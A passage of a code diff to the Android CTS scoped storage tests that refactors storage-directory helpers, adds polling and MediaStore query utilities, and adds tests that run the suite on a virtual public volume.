+        extras.putInt(MediaStore.QUERY_ARG_MATCH_PENDING, MediaStore.MATCH_INCLUDE);
+        extras.putInt(MediaStore.QUERY_ARG_MATCH_TRASHED, MediaStore.MATCH_INCLUDE);
 
         ContentValues values = new ContentValues();
         values.put(MediaStore.MediaColumns.DISPLAY_NAME, newDisplayName);
 
-        try (Cursor cursor =
-                        getContentResolver().query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
-                                projection, selection, selectionArgs, null)) {
-            assertThat(cursor.getCount()).isEqualTo(1);
-            cursor.moveToFirst();
-            int id = cursor.getInt(cursor.getColumnIndex(MediaStore.MediaColumns._ID));
-            String data = cursor.getString(cursor.getColumnIndex(MediaStore.MediaColumns.DATA));
-            Uri uri = ContentUris.withAppendedId(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, id);
-            Log.i(TAG, "Uri: " + uri + ". Data: " + data);
-            assertThat(getContentResolver().update(uri, values, selection, selectionArgs))
-                    .isEqualTo(1);
-        }
+        assertThat(getContentResolver().update(uri, values, extras)).isEqualTo(1);
     }
 
     /**
@@ -601,28 +682,19 @@
      * Polls for external storage to be mounted.
      */
     public static void pollForExternalStorageState() throws Exception {
-        for (int i = 0; i < POLLING_TIMEOUT_MILLIS / POLLING_SLEEP_MILLIS; i++) {
-            if (Environment.getExternalStorageState(Environment.getExternalStorageDirectory())
-                            .equals(Environment.MEDIA_MOUNTED)) {
-                return;
-            }
-            Thread.sleep(POLLING_SLEEP_MILLIS);
-        }
-        fail("Timed out while waiting for ExternalStorageState to be MEDIA_MOUNTED");
+        pollForCondition(
+                () -> Environment.getExternalStorageState(getExternalStorageDir())
+                        .equals(Environment.MEDIA_MOUNTED),
+                "Timed out while waiting for ExternalStorageState to be MEDIA_MOUNTED");
     }
 
     /**
      * Polls until we're granted or denied a given permission.
      */
     public static void pollForPermission(String perm, boolean granted) throws Exception {
-        for (int i = 0; i < POLLING_TIMEOUT_MILLIS / POLLING_SLEEP_MILLIS; i++) {
-            if (granted == checkPermissionAndAppOp(perm)) {
-                return;
-            }
-            Thread.sleep(POLLING_SLEEP_MILLIS);
-        }
-        fail("Timed out while waiting for permission " + perm + " to be "
-                + (granted ? "granted" : "revoked"));
+        pollForCondition(() -> granted == checkPermissionAndAppOp(perm),
+                "Timed out while waiting for permission " + perm + " to be "
+                        + (granted ? "granted" : "revoked"));
     }
 
     /**
@@ -646,6 +718,139 @@
         }
     }
 
+    /**
+     * Asserts that {@code dir} is a directory and that it doesn't contain any of
+     * {@code unexpectedContent}
+     */
+    public static void assertDirectoryDoesNotContain(@NonNull File dir, File... unexpectedContent) {
+        assertThat(dir.isDirectory()).isTrue();
+        assertThat(Arrays.asList(dir.listFiles())).containsNoneIn(unexpectedContent);
+    }
+
+    /**
+     * Asserts that {@code dir} is a directory and that it contains all of {@code expectedContent}
+     */
+    public static void assertDirectoryContains(@NonNull File dir, File... expectedContent) {
+        assertThat(dir.isDirectory()).isTrue();
+        assertThat(Arrays.asList(dir.listFiles())).containsAllIn(expectedContent);
+    }
+
+    public static File getExternalStorageDir() {
+        return sExternalStorageDirectory;
+    }
+
+    public static void setExternalStorageVolume(@NonNull String volName) {
+        sStorageVolumeName = volName.toLowerCase(Locale.ROOT);
+        sExternalStorageDirectory = new File("/storage/" + volName);
+    }
+
+    /**
+     * Resets the root directory of external storage to the default.
+     *
+     * @see Environment#getExternalStorageDirectory()
+     */
+    public static void resetDefaultExternalStorageVolume() {
+        sStorageVolumeName = MediaStore.VOLUME_EXTERNAL;
+        sExternalStorageDirectory = Environment.getExternalStorageDirectory();
+    }
+
+    /**
+     * Creates and returns the Android data sub-directory belonging to the calling package.
+     */
+    public static File getExternalFilesDir() {
+        final String packageName = getContext().getPackageName();
+        final File res = new File(getAndroidDataDir(), packageName + "/files");
+        if (!res.equals(getContext().getExternalFilesDir(null))) {
+            res.mkdirs();
+        }
+        return res;
+    }
+
+    /**
+     * Creates and returns the Android media sub-directory belonging to the calling package.
+     */
+    public static File getExternalMediaDir() {
+        final String packageName = getContext().getPackageName();
+        final File res = new File(getAndroidMediaDir(), packageName);
+        if (!res.equals(getContext().getExternalMediaDirs()[0])) {
+            res.mkdirs();
+        }
+        return res;
+    }
+
+    public static File getAlarmsDir() {
+        return new File(getExternalStorageDir(),
+                Environment.DIRECTORY_ALARMS);
+    }
+
+    public static File getAndroidDir() {
+        return new File(getExternalStorageDir(),
+                "Android");
+    }
+
+    public static File getAudiobooksDir() {
+        return new File(getExternalStorageDir(),
+                Environment.DIRECTORY_AUDIOBOOKS);
+    }
+
+    public static File getDcimDir() {
+        return new File(getExternalStorageDir(), Environment.DIRECTORY_DCIM);
+    }
+
+    public static File getDocumentsDir() {
+        return new File(getExternalStorageDir(),
+                Environment.DIRECTORY_DOCUMENTS);
+    }
+
+    public static File getDownloadDir() {
+        return new File(getExternalStorageDir(),
+                Environment.DIRECTORY_DOWNLOADS);
+    }
+
+    public static File getMusicDir() {
+        return new File(getExternalStorageDir(),
+                Environment.DIRECTORY_MUSIC);
+    }
+
+    public static File getMoviesDir() {
+        return new File(getExternalStorageDir(),
+                Environment.DIRECTORY_MOVIES);
+    }
+
+    public static File getNotificationsDir() {
+        return new File(getExternalStorageDir(),
+                Environment.DIRECTORY_NOTIFICATIONS);
+    }
+
+    public static File getPicturesDir() {
+        return new File(getExternalStorageDir(),
+                Environment.DIRECTORY_PICTURES);
+    }
+
+    public static File getPodcastsDir() {
+        return new File(getExternalStorageDir(),
+                Environment.DIRECTORY_PODCASTS);
+    }
+
+    public static File getRingtonesDir() {
+        return new File(getExternalStorageDir(),
+                Environment.DIRECTORY_RINGTONES);
+    }
+
+    public static File getAndroidDataDir() {
+        return new File(getAndroidDir(), "data");
+    }
+
+    public static File getAndroidMediaDir() {
+        return new File(getAndroidDir(), "media");
+    }
+
+    public static File[] getDefaultTopLevelDirs() {
+        return new File [] { getAlarmsDir(), getAndroidDir(), getAudiobooksDir(), getDcimDir(),
+                getDocumentsDir(), getDownloadDir(), getMusicDir(), getMoviesDir(),
+                getNotificationsDir(), getPicturesDir(), getPodcastsDir(), getRingtonesDir() };
+    }
+
     private static void assertInputStreamContent(InputStream in, byte[] expectedContent)
             throws IOException {
         assertThat(ByteStreams.toByteArray(in)).isEqualTo(expectedContent);
@@ -715,7 +920,11 @@
         intent.putExtra(INTENT_EXTRA_PATH, dirPath);
         intent.addCategory(Intent.CATEGORY_LAUNCHER);
         getContext().startActivity(intent);
-        latch.await();
+        if (!latch.await(POLLING_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS)) {
+            final String errorMessage = "Timed out while waiting to receive " + actionName
+                    + " intent from " + packageName;
+            throw new TimeoutException(errorMessage);
+        }
         getContext().unregisterReceiver(broadcastReceiver);
     }
 
@@ -822,30 +1031,116 @@
         }
     }
 
+    /**
+     * Queries {@link ContentResolver} for a file IS_PENDING=0 and returns a {@link Cursor} with the
+     * given columns.
+     */
     @NonNull
-    private static Cursor queryFile(@NonNull File file, String... projection) {
-        return queryFile(
-                MediaStore.Files.getContentUri(MediaStore.VOLUME_EXTERNAL), file, projection);
+    public static Cursor queryFileExcludingPending(@NonNull File file, String... projection) {
+        return queryFile(MediaStore.Files.getContentUri(sStorageVolumeName), file,
+                /*includePending*/ false, projection);
     }
 
     @NonNull
-    private static Cursor queryFile(@NonNull Uri uri, @NonNull File file, String... projection) {
-        final Cursor c = getContentResolver().query(uri, projection,
-                /*selection*/ MediaStore.MediaColumns.DATA + " = ?",
-                /*selectionArgs*/ new String[] {file.getAbsolutePath()},
-                /*sortOrder*/ null);
+    public static Cursor queryFile(@NonNull File file, String... projection) {
+        return queryFile(MediaStore.Files.getContentUri(sStorageVolumeName), file,
+                /*includePending*/ true, projection);
+    }
+
+    @NonNull
+    private static Cursor queryFile(@NonNull Uri uri, @NonNull File file, boolean includePending,
+            String... projection) {
+        Bundle queryArgs = new Bundle();
+        queryArgs.putString(ContentResolver.QUERY_ARG_SQL_SELECTION,
+                MediaStore.MediaColumns.DATA + " = ?");
+        queryArgs.putStringArray(ContentResolver.QUERY_ARG_SQL_SELECTION_ARGS,
+                new String[] { file.getAbsolutePath() });
+        queryArgs.putInt(MediaStore.QUERY_ARG_MATCH_TRASHED, MediaStore.MATCH_INCLUDE);
+
+        if (includePending) {
+            queryArgs.putInt(MediaStore.QUERY_ARG_MATCH_PENDING, MediaStore.MATCH_INCLUDE);
+        } else {
+            queryArgs.putInt(MediaStore.QUERY_ARG_MATCH_PENDING, MediaStore.MATCH_EXCLUDE);
+        }
+
+        final Cursor c = getContentResolver().query(uri, projection, queryArgs, null);
         assertThat(c).isNotNull();
         return c;
     }
 
     /**
-     * Asserts that {@code dir} is a directory and that it contains all of {@code expectedContent}
+     * Creates a new virtual public volume and returns the volume's name.
      */
-    public static void assertDirectoryContains(@NonNull File dir, File... expectedContent) {
-        assertThat(dir.isDirectory()).isTrue();
-        final List<File> actualContent = Arrays.asList(dir.listFiles());
-        for (File f : expectedContent) {
-            assertThat(actualContent).contains(f);
+    public static String createNewPublicVolume() throws Exception {
+        executeShellCommand("sm set-force-adoptable on");
+        executeShellCommand("sm set-virtual-disk true");
+        Thread.sleep(2000);
+        pollForCondition(TestUtils::partitionDisk, "Timed out while waiting for disk partitioning");
+
+        final String[] res = new String[1];
+        pollForCondition(() -> {
+            res[0] = getPublicVolumeName();
+            return res[0] != null;
+        }, "Timed out while waiting for public volume to be created");
+
+        return res[0];
+    }
+
+    private static boolean partitionDisk() {
+        try {
+            final String listDisks = executeShellCommand("sm list-disks").trim();
+            executeShellCommand("sm partition " + listDisks + " public");
+            return true;
+        } catch (Exception e) {
+            return false;
         }
     }
+
+    /**
+     * Gets the name of the public volume.
+     */
+    public static String getPublicVolumeName() {
+        final String[] allVolumeDetails;
+        try {
+            allVolumeDetails = executeShellCommand("sm list-volumes")
+                    .trim().split("\n");
+        } catch (Exception e) {
+            Log.e(TAG, "Failed to execute shell command", e);
+            return null;
+        }
+        for (String volDetails : allVolumeDetails) {
+            if (volDetails.startsWith("public")) {
+                final String[] publicVolumeDetails = volDetails.trim().split(" ");
+                return publicVolumeDetails[publicVolumeDetails.length - 1];
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Returns the content URI of the volume on which the test is running.
+     */
+    public static Uri getTestVolumeFileUri() {
+        return MediaStore.Files.getContentUri(sStorageVolumeName);
+    }
+
+    private static void pollForCondition(Supplier<Boolean> condition, String errorMessage)
+            throws Exception {
+        for (int i = 0; i < POLLING_TIMEOUT_MILLIS / POLLING_SLEEP_MILLIS; i++) {
+            if (condition.get()) {
+                return;
+            }
+            Thread.sleep(POLLING_SLEEP_MILLIS);
+        }
+        throw new TimeoutException(errorMessage);
+    }
+
+    /**
+     * Polls for all files access to be allowed.
+     */
+    public static void pollForManageExternalStorageAllowed() throws Exception {
+        pollForCondition(
+                () -> Environment.isExternalStorageManager(),
+                "Timed out while waiting for MANAGE_EXTERNAL_STORAGE");
+    }
 }
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/PublicVolumeTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/PublicVolumeTest.java
new file mode 100644
index 0000000..e1fed5d
--- /dev/null
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/PublicVolumeTest.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.scopedstorage.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.scopedstorage.cts.lib.TestUtils;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.runner.RunWith;
+
+/**
+ * Runs all of the tests from {@link ScopedStorageTest} on a public volume.
+ */
+@RunWith(AndroidJUnit4.class)
+public class PublicVolumeTest extends ScopedStorageTest {
+    @Override
+    @Before
+    public void setup() throws Exception {
+        final String volumeName = TestUtils.getPublicVolumeName();
+        assertThat(volumeName).isNotNull();
+        TestUtils.setExternalStorageVolume(volumeName);
+        super.setup();
+    }
+}
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/PublicVolumeTestHelper.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/PublicVolumeTestHelper.java
new file mode 100644
index 0000000..ce5d2a2
--- /dev/null
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/PublicVolumeTestHelper.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.scopedstorage.cts;
+
+import android.scopedstorage.cts.lib.TestUtils;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Creates public volume for running tests from {@link PublicVolumeTest} and
+ * {@link PublicVolumeLegacyTest}
+ */
+@RunWith(AndroidJUnit4.class)
+public class PublicVolumeTestHelper {
+    /**
+     * This is not an actual test, but rather just a one time setup method that creates the new
+     * public volume on which the test would run.
+     */
+    @Test
+    public void setupNewPublicVolume() throws Exception {
+        TestUtils.createNewPublicVolume();
+    }
+}
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
index 2867aec..bcffc67 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
@@ -23,24 +23,11 @@
 import static android.scopedstorage.cts.lib.RedactionTestHelper.assertExifMetadataMismatch;
 import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadata;
 import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadataFromRawResource;
-import static android.scopedstorage.cts.lib.TestUtils.ALARMS_DIR;
-import static android.scopedstorage.cts.lib.TestUtils.ANDROID_DATA_DIR;
-import static android.scopedstorage.cts.lib.TestUtils.ANDROID_MEDIA_DIR;
-import static android.scopedstorage.cts.lib.TestUtils.AUDIOBOOKS_DIR;
 import static android.scopedstorage.cts.lib.TestUtils.BYTES_DATA1;
 import static android.scopedstorage.cts.lib.TestUtils.BYTES_DATA2;
-import static android.scopedstorage.cts.lib.TestUtils.DCIM_DIR;
-import static android.scopedstorage.cts.lib.TestUtils.DEFAULT_TOP_LEVEL_DIRS;
-import static android.scopedstorage.cts.lib.TestUtils.DOCUMENTS_DIR;
-import static android.scopedstorage.cts.lib.TestUtils.DOWNLOAD_DIR;
-import static android.scopedstorage.cts.lib.TestUtils.MOVIES_DIR;
-import static android.scopedstorage.cts.lib.TestUtils.MUSIC_DIR;
-import static android.scopedstorage.cts.lib.TestUtils.NOTIFICATIONS_DIR;
-import static android.scopedstorage.cts.lib.TestUtils.PICTURES_DIR;
-import static android.scopedstorage.cts.lib.TestUtils.PODCASTS_DIR;
-import static android.scopedstorage.cts.lib.TestUtils.RINGTONES_DIR;
 import static android.scopedstorage.cts.lib.TestUtils.STR_DATA1;
 import static android.scopedstorage.cts.lib.TestUtils.STR_DATA2;
+import static android.scopedstorage.cts.lib.TestUtils.adoptShellPermissionIdentity;
 import static android.scopedstorage.cts.lib.TestUtils.allowAppOpsToUid;
 import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameDirectory;
 import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameFile;
@@ -50,17 +37,40 @@
 import static android.scopedstorage.cts.lib.TestUtils.assertFileContent;
 import static android.scopedstorage.cts.lib.TestUtils.assertThrows;
 import static android.scopedstorage.cts.lib.TestUtils.canOpen;
+import static android.scopedstorage.cts.lib.TestUtils.canReadAndWriteAs;
 import static android.scopedstorage.cts.lib.TestUtils.createFileAs;
 import static android.scopedstorage.cts.lib.TestUtils.deleteFileAs;
 import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
 import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively;
 import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProvider;
+import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow;
 import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid;
+import static android.scopedstorage.cts.lib.TestUtils.dropShellPermissionIdentity;
 import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand;
+import static android.scopedstorage.cts.lib.TestUtils.getAlarmsDir;
+import static android.scopedstorage.cts.lib.TestUtils.getAndroidDataDir;
+import static android.scopedstorage.cts.lib.TestUtils.getAndroidDir;
+import static android.scopedstorage.cts.lib.TestUtils.getAndroidMediaDir;
+import static android.scopedstorage.cts.lib.TestUtils.getAudiobooksDir;
 import static android.scopedstorage.cts.lib.TestUtils.getContentResolver;
+import static android.scopedstorage.cts.lib.TestUtils.getDcimDir;
+import static android.scopedstorage.cts.lib.TestUtils.getDefaultTopLevelDirs;
+import static android.scopedstorage.cts.lib.TestUtils.getDocumentsDir;
+import static android.scopedstorage.cts.lib.TestUtils.getDownloadDir;
+import static android.scopedstorage.cts.lib.TestUtils.getExternalFilesDir;
+import static android.scopedstorage.cts.lib.TestUtils.getExternalMediaDir;
+import static android.scopedstorage.cts.lib.TestUtils.getExternalStorageDir;
 import static android.scopedstorage.cts.lib.TestUtils.getFileMimeTypeFromDatabase;
+import static android.scopedstorage.cts.lib.TestUtils.getFileOwnerPackageFromDatabase;
 import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase;
+import static android.scopedstorage.cts.lib.TestUtils.getFileSizeFromDatabase;
 import static android.scopedstorage.cts.lib.TestUtils.getFileUri;
+import static android.scopedstorage.cts.lib.TestUtils.getMoviesDir;
+import static android.scopedstorage.cts.lib.TestUtils.getMusicDir;
+import static android.scopedstorage.cts.lib.TestUtils.getNotificationsDir;
+import static android.scopedstorage.cts.lib.TestUtils.getPicturesDir;
+import static android.scopedstorage.cts.lib.TestUtils.getPodcastsDir;
+import static android.scopedstorage.cts.lib.TestUtils.getRingtonesDir;
 import static android.scopedstorage.cts.lib.TestUtils.grantPermission;
 import static android.scopedstorage.cts.lib.TestUtils.installApp;
 import static android.scopedstorage.cts.lib.TestUtils.installAppWithStoragePermissions;
@@ -68,8 +78,12 @@
 import static android.scopedstorage.cts.lib.TestUtils.openFileAs;
 import static android.scopedstorage.cts.lib.TestUtils.openWithMediaProvider;
 import static android.scopedstorage.cts.lib.TestUtils.pollForExternalStorageState;
+import static android.scopedstorage.cts.lib.TestUtils.pollForManageExternalStorageAllowed;
 import static android.scopedstorage.cts.lib.TestUtils.pollForPermission;
+import static android.scopedstorage.cts.lib.TestUtils.queryFile;
+import static android.scopedstorage.cts.lib.TestUtils.queryFileExcludingPending;
 import static android.scopedstorage.cts.lib.TestUtils.queryImageFile;
+import static android.scopedstorage.cts.lib.TestUtils.queryVideoFile;
 import static android.scopedstorage.cts.lib.TestUtils.readExifMetadataFromTestApp;
 import static android.scopedstorage.cts.lib.TestUtils.revokePermission;
 import static android.scopedstorage.cts.lib.TestUtils.setupDefaultDirectories;
@@ -90,22 +104,31 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
 import android.Manifest;
 import android.app.AppOpsManager;
+import android.app.WallpaperManager;
 import android.content.ContentResolver;
+import android.content.ContentValues;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Bundle;
 import android.os.Environment;
 import android.os.FileUtils;
 import android.os.ParcelFileDescriptor;
 import android.os.Process;
+import android.platform.test.annotations.AppModeInstant;
 import android.provider.MediaStore;
 import android.system.ErrnoException;
 import android.system.Os;
+import android.system.StructStat;
 import android.util.Log;
 
 import androidx.annotation.Nullable;
@@ -129,29 +152,35 @@
 import java.nio.ByteBuffer;
 import java.util.Arrays;
 import java.util.HashMap;
+import java.util.List;
 
+/**
+ * Runs the scoped storage tests on primary external storage.
+ *
+ * <p>These tests are also run on a public volume by {@link PublicVolumeTest}.
+ */
 @RunWith(AndroidJUnit4.class)
 public class ScopedStorageTest {
     static final String TAG = "ScopedStorageTest";
     static final String THIS_PACKAGE_NAME = getContext().getPackageName();
 
-    static final File EXTERNAL_STORAGE_DIR = Environment.getExternalStorageDirectory();
+    /**
+     * To help avoid flaky tests, give ourselves a unique nonce to be used for
+     * all filesystem paths, so that we don't risk conflicting with previous
+     * test runs.
+     */
+    static final String NONCE = String.valueOf(System.nanoTime());
 
-    static final String TEST_DIRECTORY_NAME = "ScopedStorageTestDirectory";
+    static final String TEST_DIRECTORY_NAME = "ScopedStorageTestDirectory" + NONCE;
 
-    static final File EXTERNAL_FILES_DIR = getContext().getExternalFilesDir(null);
-    static final File EXTERNAL_MEDIA_DIR = getContext().getExternalMediaDirs()[0];
-
-    static final String AUDIO_FILE_NAME = "ScopedStorageTest_file.mp3";
-    static final String PLAYLIST_FILE_NAME = "ScopedStorageTest_file.m3u";
-    static final String SUBTITLE_FILE_NAME = "ScopedStorageTest_file.srt";
-    static final String VIDEO_FILE_NAME = "ScopedStorageTest_file.mp4";
-    static final String IMAGE_FILE_NAME = "ScopedStorageTest_file.jpg";
-    static final String NONMEDIA_FILE_NAME = "ScopedStorageTest_file.pdf";
+    static final String AUDIO_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".mp3";
+    static final String PLAYLIST_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".m3u";
+    static final String SUBTITLE_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".srt";
+    static final String VIDEO_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".mp4";
+    static final String IMAGE_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".jpg";
+    static final String NONMEDIA_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".pdf";
 
     static final String FILE_CREATION_ERROR_MESSAGE = "No such file or directory";
-    private static final File ANDROID_DIR =
-            new File(Environment.getExternalStorageDirectory(), "Android");
 
     private static final TestApp TEST_APP_A = new TestApp("TestAppA",
             "android.scopedstorage.cts.testapp.A", 1, false, "CtsScopedStorageTestAppA.apk");
@@ -171,8 +200,10 @@
         // skips all test cases if FUSE is not active.
         assumeTrue(getBoolean("persist.sys.fuse", false));
 
-        pollForExternalStorageState();
-        EXTERNAL_FILES_DIR.mkdirs();
+        if (!getContext().getPackageManager().isInstantApp()) {
+            pollForExternalStorageState();
+            getExternalFilesDir().mkdirs();
+        }
     }
 
     /**
@@ -188,66 +219,72 @@
      */
     @Test
     public void testTypePathConformity() throws Exception {
+        final File dcimDir = getDcimDir();
+        final File documentsDir = getDocumentsDir();
+        final File downloadDir = getDownloadDir();
+        final File moviesDir = getMoviesDir();
+        final File musicDir = getMusicDir();
+        final File picturesDir = getPicturesDir();
         // Only audio files can be created in Music
         assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(MUSIC_DIR, NONMEDIA_FILE_NAME).createNewFile(); });
+                () -> { new File(musicDir, NONMEDIA_FILE_NAME).createNewFile(); });
         assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(MUSIC_DIR, VIDEO_FILE_NAME).createNewFile(); });
+                () -> { new File(musicDir, VIDEO_FILE_NAME).createNewFile(); });
         assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(MUSIC_DIR, IMAGE_FILE_NAME).createNewFile(); });
+                () -> { new File(musicDir, IMAGE_FILE_NAME).createNewFile(); });
         // Only video files can be created in Movies
         assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(MOVIES_DIR, NONMEDIA_FILE_NAME).createNewFile(); });
+                () -> { new File(moviesDir, NONMEDIA_FILE_NAME).createNewFile(); });
         assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(MOVIES_DIR, AUDIO_FILE_NAME).createNewFile(); });
+                () -> { new File(moviesDir, AUDIO_FILE_NAME).createNewFile(); });
         assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(MOVIES_DIR, IMAGE_FILE_NAME).createNewFile(); });
+                () -> { new File(moviesDir, IMAGE_FILE_NAME).createNewFile(); });
         // Only image and video files can be created in DCIM
         assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(DCIM_DIR, NONMEDIA_FILE_NAME).createNewFile(); });
+                () -> { new File(dcimDir, NONMEDIA_FILE_NAME).createNewFile(); });
         assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(DCIM_DIR, AUDIO_FILE_NAME).createNewFile(); });
+                () -> { new File(dcimDir, AUDIO_FILE_NAME).createNewFile(); });
         // Only image and video files can be created in Pictures
         assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(PICTURES_DIR, NONMEDIA_FILE_NAME).createNewFile(); });
+                () -> { new File(picturesDir, NONMEDIA_FILE_NAME).createNewFile(); });
         assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(PICTURES_DIR, AUDIO_FILE_NAME).createNewFile(); });
+                () -> { new File(picturesDir, AUDIO_FILE_NAME).createNewFile(); });
         assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(PICTURES_DIR, PLAYLIST_FILE_NAME).createNewFile(); });
+                () -> { new File(picturesDir, PLAYLIST_FILE_NAME).createNewFile(); });
         assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(DCIM_DIR, SUBTITLE_FILE_NAME).createNewFile(); });
+                () -> { new File(dcimDir, SUBTITLE_FILE_NAME).createNewFile(); });
 
-        assertCanCreateFile(new File(ALARMS_DIR, AUDIO_FILE_NAME));
-        assertCanCreateFile(new File(AUDIOBOOKS_DIR, AUDIO_FILE_NAME));
-        assertCanCreateFile(new File(DCIM_DIR, IMAGE_FILE_NAME));
-        assertCanCreateFile(new File(DCIM_DIR, VIDEO_FILE_NAME));
-        assertCanCreateFile(new File(DOCUMENTS_DIR, AUDIO_FILE_NAME));
-        assertCanCreateFile(new File(DOCUMENTS_DIR, IMAGE_FILE_NAME));
-        assertCanCreateFile(new File(DOCUMENTS_DIR, NONMEDIA_FILE_NAME));
-        assertCanCreateFile(new File(DOCUMENTS_DIR, VIDEO_FILE_NAME));
-        assertCanCreateFile(new File(DOWNLOAD_DIR, AUDIO_FILE_NAME));
-        assertCanCreateFile(new File(DOWNLOAD_DIR, IMAGE_FILE_NAME));
-        assertCanCreateFile(new File(DOWNLOAD_DIR, NONMEDIA_FILE_NAME));
-        assertCanCreateFile(new File(DOWNLOAD_DIR, VIDEO_FILE_NAME));
-        assertCanCreateFile(new File(MOVIES_DIR, VIDEO_FILE_NAME));
-        assertCanCreateFile(new File(MOVIES_DIR, SUBTITLE_FILE_NAME));
-        assertCanCreateFile(new File(MUSIC_DIR, AUDIO_FILE_NAME));
-        assertCanCreateFile(new File(MUSIC_DIR, PLAYLIST_FILE_NAME));
-        assertCanCreateFile(new File(NOTIFICATIONS_DIR, AUDIO_FILE_NAME));
-        assertCanCreateFile(new File(PICTURES_DIR, IMAGE_FILE_NAME));
-        assertCanCreateFile(new File(PICTURES_DIR, VIDEO_FILE_NAME));
-        assertCanCreateFile(new File(PODCASTS_DIR, AUDIO_FILE_NAME));
-        assertCanCreateFile(new File(RINGTONES_DIR, AUDIO_FILE_NAME));
+        assertCanCreateFile(new File(getAlarmsDir(), AUDIO_FILE_NAME));
+        assertCanCreateFile(new File(getAudiobooksDir(), AUDIO_FILE_NAME));
+        assertCanCreateFile(new File(dcimDir, IMAGE_FILE_NAME));
+        assertCanCreateFile(new File(dcimDir, VIDEO_FILE_NAME));
+        assertCanCreateFile(new File(documentsDir, AUDIO_FILE_NAME));
+        assertCanCreateFile(new File(documentsDir, IMAGE_FILE_NAME));
+        assertCanCreateFile(new File(documentsDir, NONMEDIA_FILE_NAME));
+        assertCanCreateFile(new File(documentsDir, VIDEO_FILE_NAME));
+        assertCanCreateFile(new File(downloadDir, AUDIO_FILE_NAME));
+        assertCanCreateFile(new File(downloadDir, IMAGE_FILE_NAME));
+        assertCanCreateFile(new File(downloadDir, NONMEDIA_FILE_NAME));
+        assertCanCreateFile(new File(downloadDir, VIDEO_FILE_NAME));
+        assertCanCreateFile(new File(moviesDir, VIDEO_FILE_NAME));
+        assertCanCreateFile(new File(moviesDir, SUBTITLE_FILE_NAME));
+        assertCanCreateFile(new File(musicDir, AUDIO_FILE_NAME));
+        assertCanCreateFile(new File(musicDir, PLAYLIST_FILE_NAME));
+        assertCanCreateFile(new File(getNotificationsDir(), AUDIO_FILE_NAME));
+        assertCanCreateFile(new File(picturesDir, IMAGE_FILE_NAME));
+        assertCanCreateFile(new File(picturesDir, VIDEO_FILE_NAME));
+        assertCanCreateFile(new File(getPodcastsDir(), AUDIO_FILE_NAME));
+        assertCanCreateFile(new File(getRingtonesDir(), AUDIO_FILE_NAME));
 
         // No file whatsoever can be created in the top level directory
         assertThrows(IOException.class, "Operation not permitted",
